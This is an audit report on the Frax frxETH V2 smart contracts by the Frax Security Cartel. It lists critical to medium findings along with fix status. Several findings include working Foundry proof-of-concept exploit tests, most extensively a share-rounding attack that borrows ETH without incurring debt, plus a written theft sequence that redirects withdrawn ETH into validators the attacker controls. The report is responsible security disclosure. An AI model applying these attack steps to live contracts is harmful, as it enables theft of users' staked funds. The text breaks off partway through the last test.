Frax Finance Audit Report

(frxETH V2)

Frax Security Cartel

0xleastwood, Riley Holterhus, Zach Obront

October 30, 2024

Contents

1 Introduction

1.1 About Frax Finance

Frax Finance is a DeFi industry leader, featuring several subprotocols that support the Frax, FPI, and frxETH stablecoins. In early 2024, Frax also launched Fraxtal - an optimistic rollup built using the OP stack framework. For more information, visit Frax's website: frax.finance.

1.2 About the Auditors

0xleastwood, Riley Holterhus, and Zach Obront are independent smart contract security researchers. All three are Lead Security Researchers at Spearbit, and have a background in competitive audits and live vulnerability disclosures. As a team, they are working together to conduct audits of Frax's codebase, and are operating as the "Frax Security Cartel".

0xleastwood can be reached on Twitter at @0xleastwood, Riley Holterhus can be reached on Twitter at @rileyholterhus and Zach Obront can be reached on Twitter at @zachobront.

1.3 Disclaimer

This report is intended to detail the identified vulnerabilities of the reviewed smart contracts and should not be construed as an endorsement or recommendation of any project, individual or entity. While the authors have made reasonable efforts to detect potential issues, the absence of any undetected vulnerabilities or issues cannot be guaranteed. Additionally, the security of the smart contracts may be affected by future changes or updates. By using the information in this report, you acknowledge that you are doing so at your own risk and that you should exercise your own judgment when implementing any recommendations or making decisions based on the findings. This report has been provided on an "as-is" basis and DOES NOT CONSTITUTE A GUARANTEE OR WARRANTY OF ANY FORM.

2 Audit Overview

2.1 Scope of Work

From March 18, 2024 through March 29, 2024, the Frax Security Cartel conducted an audit on the new frxETH V2 codebase, excluding the Curve AMO component. The scope of this review was in Frax's frxETH_V2 GitHub repository on commit hash aeee22c3989f3e053761a0791fce7f781b456f4b, specifically on the following directories/files:

- contracts/access-control/
- contracts/ether-router/
- contracts/frax-ether-minter/
- contracts/frxeth-redemption-queue-v2/
- contracts/libraries/
- contracts/lending-pool/
- contracts/BeaconOracle.sol
- contracts/ValidatorPool.sol

2.2 Summary of Findings

Each finding from the audit has been assigned a severity level of "Critical", "High", "Medium", "Low" or "Informational". These severities are somewhat subjective, but aim to capture the impact and likelihood of each potential issue.

In total, **26 findings** were identified. This includes **2 critical**, **3 high**, **5 medium**, **6 low**, and **7 informational** severity findings, as well as **3 gas optimization findings**. All issues have either been directly addressed by the Frax team, or have been acknowledged as acceptable behavior.

3 Findings

3.1 Critical Severity Findings

3.1.1 `totalBorrow` exchange rate can be manipulated to borrow assets without minting debt shares

Description: Like many lending protocols, `frxETH` v2 tracks debt owed by validator pools by minting shares which increase in proportion to the total amount borrowed by the protocol. The exchange rate is proportional to the interest rate charged on total assets borrowed. However, as debt can be readily repaid by anyone, an attacker can reset the exchange rate back to `1:1` and take advantage of improper shares rounding to borrow `ETH` without minting any debt shares.

An attack might look like the following:

- Wait for some interest accrual.
- Pay off close to all debt tracked by the protocol.
- Manipulate the exchange rate of `totalBorrowed:totalShares` to be `2:1`.
- In 65 iterations, this exchange rate can be inflated such that finalising validator deposits with the default approved credit limit of `28 ETH` rounds down the shares minted to zero.

The setup/requirements for this attack could look like the following too:

- Receive some borrow allowance to manipulate the exchange rate after debt repayments.
- Have a considerable number of validators with approved pubkeys that can have their respective deposits finalised with the approved credit limit of `28 ETH`.

It's also important to note that the interdependency between `frxETH` v1 and v2 allows for some serious damage to be done. `frxETH` can be minted in v2 and the `ETH` received can be borrowed for free by the attacker and then subsequently the attacker can also redeem the same `frxETH` on v1. So all funds in `frxETH` are at risk, not just what is available to borrow in v2.

Proof of Concept: The following test can be added to the `04_TestCMFullRoundTrip.t.sol` test file:

```
function test_ManipulateShares() public {
    /*
    Attack Setup:
        - Have pubkeys approved for 1 honest and 1 evil validator and perform partial deposits for
            both.
        - Be approved some borrow allowance.
        - Use borrow allowance to manipulate exchange rate by borrowing and repaying debt.
        - At the end, finalise a validator deposit which does not require any borrow allowance.
    */

    // Mint additional frxETH so the ether router holds sufficient funds.
    vm.startPrank(testUserAddress);
    vm.deal(testUserAddress, 100 ether);
    fraxEtherMinter.mintFrxEth{ value: 100 ether }();
    vm.stopPrank();
```

```
// Generate 2 partial deposits, one for an honest validator and the other for an evil validator
    .
DepositCredentials memory _depositCredentialsPKey0 = _partialValidatorDeposit({
    _validatorPool: validatorPool,
    _validatorPublicKey: validatorPublicKeys[0],
    _validatorSignature: validatorSignatures[0],
    _depositAmount: 4 ether
});
DepositCredentials memory _depositCredentialsPKey1 = generateDepositCredentials(
    validatorPool,
    validatorPublicKeys[1],
    validatorSignatures[1],
    4 ether
);

// Perform direct partial deposit because we are using a pubkey signed by an honest validator
    instead of re-generating a signature for the evil validator.
// Overwrite storage slot so we can mimic a deposit from another validator pool instead of
    generating a valid signature.
vm.startPrank(evilValPoolOwner);
vm.deal(evilValPoolOwner, 100 ether);
vm.store(address(evilValPool), bytes32(uint256(4)), validatorPool.withdrawalCredentials());
assert(evilValPool.withdrawalCredentials() == validatorPool.withdrawalCredentials());
evilValPool.deposit{ value: 4 ether }(
    _depositCredentialsPKey1.publicKey,
    _depositCredentialsPKey1.signature,
    _depositCredentialsPKey1.depositDataRoot,
    4 ether
);
vm.stopPrank();

// Default credit per validator is 28 ETH.
// Approve pubkey for honest validator pool.
_beaconOracle_setValidatorApproval(validatorPublicKeys[0], validatorPoolAddress, uint32(block.
    timestamp));
_beaconOracle_setVPoolValidatorCount(validatorPoolAddress, 1);
_beaconOracle_setVPoolBorrowAllowanceNoBuffer(validatorPoolAddress);

// Approve pubkey for evil validator pool.
_beaconOracle_setValidatorApproval(validatorPublicKeys[1], evilValPoolAddress, uint32(block.
    timestamp));
_beaconOracle_setVPoolValidatorCount(evilValPoolAddress, 2);
_beaconOracle_setVPoolBorrowAllowanceNoBuffer(evilValPoolAddress);


// Initiate a borrow from a honest validator.
vm.startPrank(validatorPoolOwner);
uint256 _borrowAmount = 1e5;
validatorPool.borrow(validatorPoolOwner, _borrowAmount);
vm.stopPrank();

// Wait a day to generate some interest.
mineBlocksBySecond(1 days);

{
    (
        uint256 _interestAccrued,
```

```
            uint256 _ethTotalBalanced,
            uint256 _totalNonValidatorEthSum,
            uint256 _optimisticValidatorEth,
            uint256 _ttlSystemEth
        ) = printAndReturnSystemStateInfo("======== AFTER 2 VALIDATOR (2 PARTIAL) AND BORROW (1e5)
            ========", true);
    }

    // Repay some amount on behalf of the honest validator pool.
    vm.startPrank(evilValPoolOwner);
    (uint256 totalBorrowAmount, uint256 totalBorrowShares) = lendingPool.totalBorrow();
    uint256 _amountToRepay = ((totalBorrowShares - 10000) * totalBorrowAmount) / totalBorrowShares;
    lendingPool.repay{ value: _amountToRepay }(address(validatorPool));
    {
        (
            uint256 _interestAccrued,
            uint256 _ethTotalBalanced,
            uint256 _totalNonValidatorEthSum,
            uint256 _optimisticValidatorEth,
            uint256 _ttlSystemEth
        ) = printAndReturnSystemStateInfo("======== AFTER DEBT REPAYMENT ========", true);
    }

    // Inflate total borrowed amount without minting shares.
    _borrowAmount = 1;
    for (uint i = 0; i < 10000; i++) {
        evilValPool.borrow(evilValPoolOwner, _borrowAmount);
    }
    {
        (
            uint256 _interestAccrued,
            uint256 _ethTotalBalanced,
            uint256 _totalNonValidatorEthSum,
            uint256 _optimisticValidatorEth,
            uint256 _ttlSystemEth
        ) = printAndReturnSystemStateInfo("======== AFTER BORROW ROUNDING ========", true);
    }

    // Reduce shares such that the exchange rate of total borrowed to shares is 2:1
    (totalBorrowAmount, totalBorrowShares) = lendingPool.totalBorrow();
    _amountToRepay = ((totalBorrowShares - 1) * totalBorrowAmount) / totalBorrowShares;
    lendingPool.repay{ value: _amountToRepay }(address(validatorPool));
    evilValPool.borrow(evilValPoolOwner, 1);
    evilValPool.borrow(evilValPoolOwner, 1);
    vm.stopPrank();

    vm.startPrank(validatorPoolOwner);
    lendingPool.repay{ value: 3 }(address(validatorPool));
    vm.stopPrank();
    {
        (
            uint256 _interestAccrued,
            uint256 _ethTotalBalanced,
            uint256 _totalNonValidatorEthSum,
            uint256 _optimisticValidatorEth,
            uint256 _ttlSystemEth
        ) = printAndReturnSystemStateInfo("======== AFTER REPAYING ALL BUT ONE SHARE ========",
```

```
        true);
}

// Inflate rounding error.
_borrowAmount = 1;
vm.startPrank(evilValPoolOwner);
for (uint i = 0; i < 65; i++) {
    evilValPool.borrow(evilValPoolOwner, _borrowAmount);
    _borrowAmount *= 2;
}
vm.stopPrank();
{
    (
        uint256 _interestAccrued,
        uint256 _ethTotalBalanced,
        uint256 _totalNonValidatorEthSum,
        uint256 _optimisticValidatorEth,
        uint256 _ttlSystemEth
    ) = printAndReturnSystemStateInfo("======== AFTER BORROWING AND ACCUMULATING ROUNDING
        ========", true);
}

// Request the final deposit for the evil validator such that no debt shares are minted,
    allowing them to withdraw without any repayment.
DepositCredentials memory _finalDepositCredentials = generateDepositCredentials(
    evilValPool,
    validatorPublicKeys[1],
    validatorSignatures[1],
    32 ether - 4 ether
);

(uint256 totalBorrowAmountBefore, uint256 totalBorrowSharesBefore) = lendingPool.totalBorrow();
vm.startPrank(evilValPoolOwner);
evilValPool.requestFinalDeposit(
    _finalDepositCredentials.publicKey,
    _finalDepositCredentials.signature,
    _finalDepositCredentials.depositDataRoot
);
vm.stopPrank();
(uint256 totalBorrowAmountAfter, uint256 totalBorrowSharesAfter) = lendingPool.totalBorrow();
{
    (
        uint256 _interestAccrued,
        uint256 _ethTotalBalanced,
        uint256 _totalNonValidatorEthSum,
        uint256 _optimisticValidatorEth,
        uint256 _ttlSystemEth
    ) = printAndReturnSystemStateInfo("======== AFTER BORROWING AND MINTING NO NEW SHARES
        ========", true);
}

// Verify that no debt shares were created for the evil validator and that total borrowed was
    inflated.
(bool a, bool b, uint32 c, uint32 d, uint48 e, uint128 f, uint256 valDebtShares) = lendingPool.
    validatorPoolAccounts(address(evilValPool));
assert(valDebtShares == 0 && totalBorrowAmountAfter > totalBorrowAmountBefore &&
    totalBorrowSharesBefore == totalBorrowSharesAfter);
```

```
}
```

Recommendation: Change the rounding directions of each call to `toShares()` and `toAmount()` so that rounding errors are always in the protocol's favor. Depending on the context, the rounding direction of each function may change, for example, `_previewRepay()` should have `toShares()` round down, and `_previewBorrow()` should have `toShares()` round up. So, consider implementing this by adding a `bool roundUp` parameter to the `VaultAccountingLibrary` functions.

Frax: Fixed in commit 09203c5 and commit 6981d37.

Frax Security Cartel: Verified.

3.1.2 Withdrawn ETH can be redeposited into user-controlled validators

Description: A crucial aspect of the frxETH system is that all validators have their `withdrawal_credentials` set to the user's respective `ValidatorPool` contract. In normal circumstances, the validator's `withdrawal_credentials` will be set as part of an initial call to `deposit()` in the `ValidatorPool`. However, since deposits can be made externally, and since the Beacon Chain uses the first `withdrawal_credentials` it observes, an additional safeguard is needed.

Specifically, the `BeaconOracle` role is required to approve a validator before they can borrow funds, and this approval is contingent on the correct `withdrawal_credentials` being observed. This all implies that the system should not trust that any ETH used in the `deposit()` function will ultimately remain in the frxETH system.

On the other hand, the `deposit()` function is currently allowed to pull from the `ValidatorPool` ETH balance. Since this balance can include withdrawn ETH from other validators, and since this withdrawn ETH includes borrowed funds, a theft is possible with the following steps:

1. An attacker creates a validator and borrows funds using the intended system.
2. The attacker exits this validator, and the ETH arrives in the `ValidatorPool` as expected.
3. The attacker externally deposits into a new validator, setting the `withdrawal_credentials` to an address in their control.
4. The attacker uses the `deposit()` function to direct all withdrawn funds into this new validator.
5. The attacker exits this new validator and receives all funds (including borrowed ETH) at an address in their control.

Recommendation: Do not allow the `deposit()` function to draw from the `ValidatorPool` balance. Instead, only allow the user to pass their own `msg.value` for this call:

```
function deposit(
    bytes calldata _validatorPublicKey,
    bytes calldata _validatorSignature,
    bytes32 _depositDataRoot,
    uint256 _depositAmount
) external payable nonReentrant {
```

```
    _requireSenderIsOwner();

-   // Make sure address(this).balance (now includes msg.value) has enough Eth for the deposit
-   // Cleaner than getting a revert somewhere else down the line
-   if (address(this).balance < _depositAmount) revert InsufficientSenderAndPoolEth();
+   if (msg.value != _depositAmount) revert();

    // Make sure an integer amount of 1 Eth is being deposited
    // Avoids a case where < 1 Eth is borrowed to finalize a deposit, only to have it fail at the
    Eth 2.0 contract
    // Also avoids the 1 gwei minimum increment issue at the Eth 2.0 contract
    if ((_depositAmount % (1 ether)) != 0) revert MustBeIntegerMultipleOf1Eth();

    // Deposit the ether in the ETH 2.0 deposit contract
    // This will reject if the deposit amount isn't at least 1 ETH + a multiple of 1 gwei
    _deposit(_validatorPublicKey, _validatorSignature, _depositDataRoot, _depositAmount);

    // Register the deposit with the lending pool
    // Will revert if you go over 32 ETH
    lendingPool.initialDepositValidator(_validatorPublicKey, _depositAmount);
}
```

Note that this will remove the ability for honest users to use their accrued yield to create new validators. As an alternative, consider encouraging these users to use a combination of `repayAmount()` and `borrow()`, which can also give the user access to their ETH for new validator deposits.

Frax: Fixed in commit 3adaf47.

Frax Security Cartel: Verified.

3.2 High Severity Findings

3.2.1 Utilization ratio can be manipulated in several ways

Description: The utilization ratio is a function of total ETH borrowed by validator pools and total funds deployed in AMOs. This in turn enforces the interest rate paid by validator operators. There are some considerations to be made with the design which are outlined below and furthermore explored in the rest of the issue:

- `frxETH.totalSupply()` can be inflated by minting `frxETH` through the v1 product.
- Redemptions are not symmetrically handled.
- AMO deposits must add interest before converting free `ETH`.
- `sweepEther()` does not correctly add interest before depositing funds into the target AMO.

It is expected that Frax continues to allow users to use both `frxETH` v1 and v2 products which both mint the same token. Therefore, `frxETH.totalSupply()` does not accurately measure the supply of ETH for which borrowers readily have access to utilizing. This not only dilutes the utilization ratio, but because no internal value is being tracked, it can be readily manipulated by minting `frxETH` in their v1 product.

```
function _getUtilizationPostCore(
    EtherRouter.CachedConsEFxBalances memory _cachedBals
) internal view returns (uint256 _utilization) {
    // Fetch relevant information
    (int256 _rqEthBalance, ) = redemptionQueue.ethShortageOrSurplus();

    // Calculate the numerator
    // stETH, rETH, etc, are considered 1-to-1 ETH equivalents here
    int256 numerator = int256(uint256(_cachedBals.ethTotalBalanced)) + _rqEthBalance; //
        _rqEthBalance can be negative

    // Calculate the denominator
    // TODO: Check math / other corner cases here
    if ((uint256(_cachedBals.frxEthFree) + uint256(_cachedBals.frxEthInLpBalanced)) >= frxETH.
        totalSupply()) {
        // If there is a lot of free ETH, utilization will effectively be zero
        _utilization = 0;
    } else {
        // Calculate the denomination
        uint256 denominator = frxETH.totalSupply() -
            uint256(_cachedBals.frxEthFree) -
            uint256(_cachedBals.frxEthInLpBalanced);

        // Calculate the utilization
        if (numerator < 0) {
            // If there is a huge ETH shortage in the redemption queue that cannot be filled with
                other assets, cap at 100%
            _utilization = UTILIZATION_PRECISION;
        } else {
            // Calculate the subtrahend
            uint256 sub = ((UTILIZATION_PRECISION * uint256(numerator)) / denominator);

            // Prevent underflow
            if (sub >= UTILIZATION_PRECISION) _utilization = 0;
            else _utilization = UTILIZATION_PRECISION - sub;
        }
    }
}
```

`frxETH` v2 handles redemptions a little differently to v1. Firstly, the user will enter the redemption queue, transferring in their `frxETH` and minting a redemption ticket NFT which can be redeemed once the redemption satisfies a few conditions (mainly being that the NFT has reached maturity and there are available funds to process their redemption).

It's important to point out that the action of entering the redemption queue increases `redemptionQueueAccounting.etherLiabilities` without impacting the supply of `frxETH`. Referring to the above code snippet, we see that `redemptionQueue.ethShortageOrSurplus()` readily decreases and so does the calculated `numerator` while the `denominator` remains unaffected until the NFT is partially or fully redeemed. These inconsistencies allow for significant manipulation of the utilization ratio.

Even though the scope of the audit did not cover any AMO implementations, it is still worth considering the impact that they will have on interest rate calculations. `etherRouter.getConsolidatedEthFrxEthBalance()` iterates through all AMOs to query the `ETH` and `frxETH` balances, represented by the struct below.

```
struct CachedConsEFxBalances {
    bool isStale;
    address amoAddress;
    uint96 ethFree;
    uint96 ethInLpBalanced;
    uint96 ethTotalBalanced;
    uint96 frxEthFree;
    uint96 frxEthInLpBalanced;
}
```

Once `ETH` has been deposited into an AMO, it isn't clear how that might be used internally because AMO implementations are currently unknown and out of scope. Internal AMO actions seem to impact the availability of free ETH and in turn the utilization ratio is also affected. As per below, when `ETH` is deposited into an AMO, interest is not accrued at all.

```
function sweepEther(uint256 _amount, bool _depositAndVault) external {
    _requireIsTimelockOrOperator();
    ...

    // See if the redemption queue has a shortage
    (, uint256 _rqShortage) = redemptionQueue.ethShortageOrSurplus();

    ...

        // Calculate the remaining ETH
        uint256 _remainingEth = _amount - _rqShortage;

        // Send ETH to the AMO. Either 1) Leave it alone, or 2) Deposit it into cvxLP + vault it
        if (_depositAndVault) {
            // Drop in, deposit, and vault
            IfrxEthV2AMO(depositToAmoAddr).depositEther{ value: _remainingEth }();
        } else {
            // Drop in only
            (bool sent, ) = payable(depositToAmoAddr).call{ value: _remainingEth }("");
            if (!sent) revert EthTransferFailedER(2);
        }

        // Mark the getConsolidatedEthFrxEthBalance cache as stale for this AMO
        cachedConsEFxEBals[depositToAmoAddr].isStale = true;

        emit EtherSwept(depositToAmoAddr, _remainingEth);
    }
}
```

Recommendation: The mitigations for these issues can be summarised by the following:

- An internal total supply variable should be used to represent the amount of `frxETH` minted in v2 and should not consider v1 at all.
- A decision needs to be made whether entering a redemption queue should reduce both the availability of ETH and the `frxETH.totalSupply()` or this should be realised once the NFT has been redeemed. By making use of the internal variable tracking total minted `frxETH` in v2, either implementation should be straightforward

but consistency is needed.

- Any market operation which impacts the availability of `ETH` and therefore the utilization ratio should call `LendingPoolCore.addInterest()` first. There also needs to be some considerations around how these market operations will ultimately impact the interest paid by borrowers. Will there be a target rate that the protocol operator will perform actions to achieve at best effort (dictated softly by governance voters).

Frax: Addressed in commit e1278b2, commit 3a14474 and commit 6ae3438.

Frax Security Cartel: Verified. `frxETH` v2 now makes use of a `utilizationStored` variable which stores the last utilization calculated and uses this for the next interest accrual. Any manipulation in the rate would be detectable and any user could call `addInterest()` to checkpoint an unmanipulated utilization.

However, it is worth noting that the following calculations will impact the utilization rate without first adding interest:

- `fullRedeemNft()`
- `partialRedeemNft()`
- `_enterRedemptionQueueCore()`

As they modify state for `redemptionQueueAccounting` and therefore affect `ethShortageOrSurplus()` calculations which is also used in `_getUtilizationPostCore()` to calculate the denominator.

3.2.2 Pools can be liquidated immediately after they call `finalDepositValidator()`

Description: When a pool called `finalDepositValidator()`, it borrows the remaining amount of ETH needed to complete the validator with 32 ETH from the lending pool and deposits it into the ETH2 Deposit Contract. This is reflected in the pool's `borrowShares`.

Because the validator has to be manually added to the accounting, the solvency check at the end of the function only requires that the pool WILL be solvent when an additional validator is added:

```
(bool _wouldBeSolvent, uint256 _ttlBorrow, uint256 _ttlCredit) = wouldBeSolvent(msg.sender, false,
    1, 0);
if (!_wouldBeSolvent) revert ValidatorPoolIsNotSolventDetailed(_ttlBorrow, _ttlCredit);
```

However, as soon as the function ends, we are back in a situation where a pool can be liquidated for being insolvent, and it does not yet have the validator added. At this moment, another user can liquidate the pool.

Despite the pool not having any assets, a call with `liquidate(pool, 0)` will succeed, which will transfer no assets out of the pool but will mark it as `wasLiquidated`, blocking any future deposits or borrows, and allowing anyone to force them to repay debt out of their rewards at any time.

Proof of Concept: The following test can be dropped into `02_TestCMDeposit.t.sol` to demonstrate the vulnerability:

```
function testZach_LiquidatableAfterFinalize() public {
    DepositCredentials memory _depositCredentials = _partialValidatorDeposit({
        _validatorPool: validatorPool,
        _validatorPublicKey: validatorPublicKeys[0],
        _validatorSignature: validatorSignatures[0],
        _depositAmount: PARTIAL_DEPOSIT_AMOUNT
    });
    mineBlocksBySecond(1 days);
    _beaconOracle_setValidatorApproval(validatorPublicKeys[0], validatorPoolAddress, uint32(block.
        timestamp));
    _requestFinalValidatorDepositByPkeyIdx(0);

    lendingPool.liquidate(payable(address(validatorPool)), 0);
    (, bool wasLiquidated,,,,) = lendingPool.validatorPoolAccounts(address(validatorPool));
    assertEq(wasLiquidated, true);
}
```

Recommendation: Most solutions to try to sync up these values immediately open additional risks of overestimating the validator count. The simplest solution would be to make the `liquidate()` function permissioned.

Frax: Fixed by making `liquidate()` permissioned in commit 20f314d8

Frax Security Cartel: Verified.

3.2.3 After AMO is removed from EtherRouter, all calls to `requestEther()` will fail

Description: When an AMO is removed from EtherRouter, we simply delete it "in place" in the array, replacing it with `address(0)`.

```
function removeAmo(address _amoAddress) external {
    _requireSenderIsTimelock();
    if (_amoAddress == address(0)) revert ZeroAddress();
    if (!amos[_amoAddress]) revert AmoAlreadyOffOrMissing();

    // Delete from the mapping
    delete amos[_amoAddress];

    // 'Delete' from the array by setting the address to 0x0
    for (uint256 i = 0; i < amosArray.length; ) {
        if (amosArray[i] == _amoAddress) {
            amosArray[i] = address(0); // This will leave a null in the array and keep the indices
                the same
            break;
        }
        unchecked {
            ++i;
        }
    }

    emit FrxEthAmoRemoved(_amoAddress);
}
```

This is accounted for when getting balances by skipping any AMOs with an address of `address(0)`. However, in the `requestEther()` function, we iterate over all AMOs in the array and attempt to call each one. For any `address(0)`s in the array, this will revert.

```
// Start pulling from the AMOs
if (_remainingEthToPull > 0) {
    for (uint256 i = 0; i < amosArray.length; ) {
        // Pull Ether from an AMO. May return a 0, partial, or full amount
        (uint256 _ethOut, ) = IfrxEthV2AMO(amosArray[i]).requestEtherByRouter(_remainingEthToPull);

        // Account for the collected Ether
        _remainingEthToPull -= _ethOut;

        // If ETH was removed, mark the getConsolidatedEthFrxEthBalance cache as stale for this AMO
        if (_ethOut > 0) cachedConsEFxEBals[amosArray[i]].isStale = true;

        // Stop looping if it collected enough
        if (_remainingEthToPull == 0) break;
        unchecked {
            ++i;
        }
    }
}
```

There is no way to edit the existing entries in the `amosArray`, so this entry will stay as `address(0)` and permanently cause the router to disallow requests. Because the contract is non-upgradeable, funds will need to be rescued and a new contract will need to be redeployed.

Proof of Concept:

The following test can be added to `EtherRouterTest.t.sol` to demonstrate the issue:

```
function testZach_RequestEtherFailsAfterRemovingAMO() public {
    defaultSetup();

    address amo0 = etherRouter.amosArray(0);
    address amo1 = address(new GoodAMO{value: 1000 ether}());

    // remove the existing amo and add the new one
    vm.startPrank(ConstantsSBTS.Mainnet.TIMELOCK_ADDRESS);
    etherRouter.removeAmo(payable(amo0));
    etherRouter.addAmo(payable(amo1));
    vm.stopPrank();

    // confirm first is set to addr(0) and second is set to amo
    assertEq(etherRouter.amosArray(0), address(0));
    assertEq(etherRouter.amosArray(1), amo1);

    // Try requesting ETH as the lending pool (should pass)
    vm.prank(address(lendingPool));
    vm.expectRevert();
    etherRouter.requestEther(payable(address(1)), 100 ether, false);
}
```

Note that for the test to run, the following contracts will need to be added or imported to the test file:

```
contract AMOHelper {
    function getConsolidatedEthFrxEthBalance(address amoAddress) external view returns (
        uint256 _amoEthFree,
        uint256 _amoEthInLp,
        uint256 _amoEthTotalBalanced,
        uint256 _amoFrxEthFree,
        uint256 _amoFrxEthInLpBalanced
    ) {}
}

contract GoodAMO {
    address public amoHelper;

    constructor() payable {
        amoHelper = address(new AMOHelper());
    }

    function requestEtherByRouter(uint256 etherRequested) external returns (uint256, uint256) {
        if (address(this).balance < etherRequested) etherRequested = address(this).balance;

        payable(msg.sender).transfer(etherRequested);
        return (etherRequested, 0);
    }
}
```

Recommendation: Skip any AMOs with an address of `address(0)` when requesting Ether.

```
if (_remainingEthToPull > 0) {
    for (uint256 i = 0; i < amosArray.length; ) {
+     if (amosArray[i] != address(0)) {
          // Pull Ether from an AMO. May return a 0, partial, or full amount
          (uint256 _ethOut, ) =
    IfrxEthV2AMO(amosArray[i]).requestEtherByRouter(_remainingEthToPull);
          ...
+     }
}
```

Frax: Fixed as recommended in commit 318a7e8.

Frax Security Cartel: Verified.

3.3 Medium Severity Findings

3.3.1 EtherRouter caches can never be updated, leading to incorrect values when `forceLive = false`

Description: `EtherRouter` uses a cache system to minimize the need for perform AMO accounting.

When fetching balances in `_getConsolidatedEthFrxEthBalanceViewCore()`, we can get the balances in two ways:

1) When `forceLive` is passed or a cache entry is marked as stale, we manually pull the balance from the `amoHelper()`.
2) If `forceLive = false` and the cache is not marked as stale, we rely on the cached values for the balance.

Where do the cached values come from? In the event that the `_previewUpdateCache` argument is `true`, we cache the following values, and eventually save them in storage:

```
IfrxEthV2AMOHelper.ShowAmoBalancedAllocsPacked memory _packedBals = IfrxEthV2AMOHelper(
    IfrxEthV2AMO(_amoAddress).amoHelper()
).getConsolidatedEthFrxEthBalancePacked(_amoAddress);

...

_cachesToUpdateLocal[i] = CachedConsEFxBalances(
    false,
    _amoAddress,
    _packedBals.amoEthFree,
    _packedBals.amoEthInLpBalanced,
    _packedBals.amoEthTotalBalanced,
    _packedBals.amoFrxEthFree,
    _packedBals.amoFrxEthInLpBalanced
);
```

The problem lies in that it is not possible for the `_previewUpdateCache` argument to be set to `true`. If we look at all the locations where this internal function is called, we can see that this value is hardcoded to `false` (even in the event that we explicitly set `_updateCache = true` in the external call arguments).

```
function getConsolidatedEthFrxEthBalance(
    bool _forceLive,
    bool _updateCache
) external returns (CachedConsEFxBalances memory _rtnBalances) {
    CachedConsEFxBalances[] memory _cachesToUpdate;
    // Determine the route
    if (_updateCache) {
        // Fetch the return balances as well as the new balances to cache
        (_rtnBalances, _cachesToUpdate) = _getConsolidatedEthFrxEthBalanceViewCore(_forceLive,
            false);
        ...
}
```

The result is that the caches will always remain empty. Any time the function is called to get the balances with `forceLive = false` and `isStale = false`, it will return a balance of zero, regardless of the true balance of the AMO.

Recommendation: When `_updateCache == true`, ensure the function is called with `_previewUpdateCache = true`:

```
function getConsolidatedEthFrxEthBalance(
    bool _forceLive,
    bool _updateCache
) external returns (CachedConsEFxBalances memory _rtnBalances) {
    CachedConsEFxBalances[] memory _cachesToUpdate;
    // Determine the route
    if (_updateCache) {
        // Fetch the return balances as well as the new balances to cache
-       (_rtnBalances, _cachesToUpdate) = _getConsolidatedEthFrxEthBalanceViewCore(_forceLive,
    false);
+       (_rtnBalances, _cachesToUpdate) = _getConsolidatedEthFrxEthBalanceViewCore(_forceLive,
    true);

        // Loop through the caches and store them
        for (uint256 i = 0; i < _cachesToUpdate.length; ) {
            // Get the address of the AMO
            address _amoAddress = _cachesToUpdate[i].amoAddress;

            // Skip caches that don't need to be updated
            if (_amoAddress != address(0)) {
                // Update storage
                cachedConsEFxEBals[_amoAddress] = _cachesToUpdate[i];
            }
            unchecked {
                ++i;
            }
        }
    } else {
        // Don't care about updating the cache, so return early
        (_rtnBalances, ) = _getConsolidatedEthFrxEthBalanceViewCore(_forceLive, false);
    }
}
```

Frax: Fixed as recommended in commit 383bcdc.

Frax Security Cartel: Verified.

3.3.2 Many addresses across the protocol cannot be set after deployment

Description: Many of the contracts across the protocol use inherited "role" contracts to store other addresses. For example, EtherRouter.sol stores an `Operator` address, and does it using the `OperatorRole.sol` inherited contract.

These inherited contracts set the address in storage on deployment, contain internal functions to check whether a caller is the specified address, and contain an internal function to set the address. However, these setters require the inheriting contract to implement an external function so they can actually be used.

Due to missing these external functions, the following addresses set across the protocol do not have a way to set them after deployments:

EtherRouter.sol

- can't update `operator`

FraxEtherMinter.sol

- can't update `etherRouter`
- can't update `operator`

LendingPool.sol

- can't update `etherRouter`
- can't update `beaconOracle`
- can't update `redemptionQueue`

BeaconOracle.sol

- can't update `operator`
- there is an external function for setting the lendingPool, but it doesn't use the internal function (it just sets the storage value directly), so it skips emitting the expected event

Recommendation: Implement external setter functions for any of these values that might be changed after deployment.

Frax: Fixed as recommended in commit 9d5195e.

Frax Security Cartel: Verified.

3.3.3 Interest Rate Calculator is deployed with incorrect vertex utilization, leading to incorrect rates

Description: The `VERTEX_UTILIZATION` represents the point of utilization at which the slope increases. It is set with a precision of 5 decimals.

```
/// @notice The utilization at which the slope increases
uint256 public immutable VERTEX_UTILIZATION;
/// @notice precision of utilization calculations
uint256 public constant UTIL_PREC = 1e5; // 5 decimals
```

However, in the deployment script, we accidentally set it to `85e4`, which represents 850% instead of the 85% intended:

```
_vertexUtilization: 85e4, // 85%
```

This value is used when calculating the rate. If the current utilization is less than vertex utilization, we take one path; if it's greater, we take another:

```
if (_utilization < VERTEX_UTILIZATION) {
    _newRatePerSec = uint64(
        ZERO_UTIL_RATE + (_utilization * (_vertexInterest - ZERO_UTIL_RATE)) / VERTEX_UTILIZATION
    );
```

```
} else {
    require((UTIL_PREC - VERTEX_UTILIZATION) > 0, "UTIL_PREC - VERTEX_UTILIZATION cannot be 0.");
    _newRatePerSec = uint64(
        _vertexInterest +
            ((_utilization - VERTEX_UTILIZATION) * (_newFullUtilizationInterest - _vertexInterest))
                /
            (UTIL_PREC - VERTEX_UTILIZATION)
    );
}
```

If vertex utilization is set to 850%, it means that all the code ends up following the first if path instead of the else. The biggest implication of this is that the `_newRatePerSec` values along that path are divided by 850% instead of 85%, so end up much smaller than they should be. This means that all increases over ZERO_UTIL_RATE are 10x smaller than they should be, so we end up with a rate about 10x smaller than we should when at full utilization.

It also causes another issue which pushes in the opposite direction. It means that we go down the wrong (first) path when `utilization > 85\%`, it allows us to multiply by utilization when it's over 85%, getting a higher value than the intended fullUtilizationRate. This means we can extend slightly past the full rate. Luckily we're understating the full rate by 10x, so we end up with a rate that is about 11% of what it should be instead of 10%.

Finally, it has the impact that in the ELSE clause that is never reached (but should be), the rate never increases. Based on the deployment variables, we set `VERTEX_UTILIZATION = 85\%` and `VERTEX_PERCENT = 100\%`. That means that we are taking 100% of the value of the increase, and applying it before the vertex of 85%. After 85%, there is no remaining increase, and we are capped out. This is the opposite of the typical setup, where the interest rate increases more dramatically after the vertex.

Proof of Concept:

The following test can be dropped into `03_TestCMBorrow.t.sol` to demonstrate the issue (note that util is divided by 1e3 to represent percent, rates are divided by 1e8 for easier reading):

```
function testZach_RateAtDifferentUtils() public {
    IInterestRateCalculator ir = lendingPool.RATE_CALCULATOR();

    uint64 rate;
    uint util;
    uint64 fullRate;
    for (uint i; i < 10; i++) {
        util = 0.5e5 + (0.05e5 * i);
